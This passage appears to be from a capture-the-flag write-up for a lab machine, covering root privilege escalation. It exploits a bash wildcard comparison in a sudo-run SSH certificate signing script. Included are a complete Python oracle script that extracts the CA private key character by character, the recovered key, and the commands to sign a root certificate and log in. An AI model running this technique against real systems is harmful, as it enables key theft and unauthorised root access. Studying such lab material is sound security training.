for the certificate file provided. If it is, it exits the script. Now, the tricky part are at lines:
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
echo "Error: Use API for signing with this CA."
usage
fi
To explain this, the following script might provide a better approach:
#!/bin/bash
var1="ThisIsAnExample"
var2="This*"
if ` $var1 == $var2 `; then
echo 'var1 is equal to var2'
fi
if ` $var2 == $var1 `; then
echo 'var2 is equal to var1'
fi
and running it:
❯ ./test.sh
var1 is equal to var2
Only the first condition is true. This is due to the wildcard character (*
). Basically, in the first condition, we are saying “var1
, that is defined as ThisIsAnExample
, is equal to This
and then anything; but var2
, defined as This
and then anything, is not equal to ThisIsAnExample
”. Since the script that we can run as root
will throw an error if both certificates are equal, and it will print the error message Error: Use API for signing with this CA.
we can then use this error to slowly build the key based on this error. Additionally, the script does not consider root_user
principal/role as valid, but since the equality verification is before that, this should not be a problem.
First, we need to generate again a keypar.pub
file in the current directory:
zzinter@ssg:~$ ssh-keygen -t rsa -b 2048 -f keypair
Now, we can use the following Python
script that plays with the exit status code of sudo /opt/sign_key.sh
and the comparison using wildcards *
to get the SSH
certificate. Since we are running it in the victim machine, we are only allowed to use built-in libraries/functions:
import string
import subprocess
from sys import exit as sys_exit
from os import system as os_system
SSH_key_header: str = "-----BEGIN OPENSSH PRIVATE KEY-----"
SSH_key_footer: str = "-----END OPENSSH PRIVATE KEY-----"
charmap: list[str] = list('-' + string.ascii_letters + string.digits + '+/=')
name_fake_key: str = 'generated_key.key'
current_key: str = ''
n_lines: int = 0
while True:
for char in charmap:
content_key = f"{SSH_key_header}\n{current_key}{char}*"
with open(name_fake_key, 'w') as f:
f.write(content_key)
os_system('clear')
print(content_key)
execute_command = subprocess.run(f"sudo /opt/sign_key.sh {name_fake_key} keypair.pub root root_user 1", shell=True, stdout=subprocess.PIPE, text=True)
if (execute_command.returncode == 1) and ('API' in execute_command.stdout):
current_key += char
if (len(current_key) > 1) and ((len(current_key) - n_lines)%70 == 0):
current_key += "\n"
n_lines += 1
break
else:
break
final_key = f"{SSH_key_header}\n{current_key}\n{SSH_key_footer}"
with open('obtained_key.key', 'w') as f:
f.write(final_key)
print(f"[+] Key extracted:\n{final_key}")
We pass this script to the victim machine and run it:
zzinter@ssg:~$ python3 build_key.py
We can also see how the key is being “built”. After it is done a file obtained_certificate.cert
should be there:
zzinter@ssg:~$ cat obtained_key.key ; echo
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
I will pass this certificate/key to my attacker machine, save it as root_certificate.cert
, and use it to sign keypair.pub
file:
❯ ssh-keygen -s root_certificate.cert -z 1 -I root -V -1w:forever -n root_user keypair.pub
Signed user key keypair-cert.pub: id "root" serial 1 for root_user valid after 2024-09-20T01:52:49
It created a keypair-cert.pub
file.
Now that our keypair-cert.pub
file is signed and created, we can finally use it to log in as root
in the host machine:
❯ ssh -o CertificateFile=keypair-cert.pub -i keypair root@10.10.11.27 -p 2222
<SNIP>
root@ssg:~# whoami
root
And we are root
. We can read root
user flag at /root
directory.
~Happy Hacking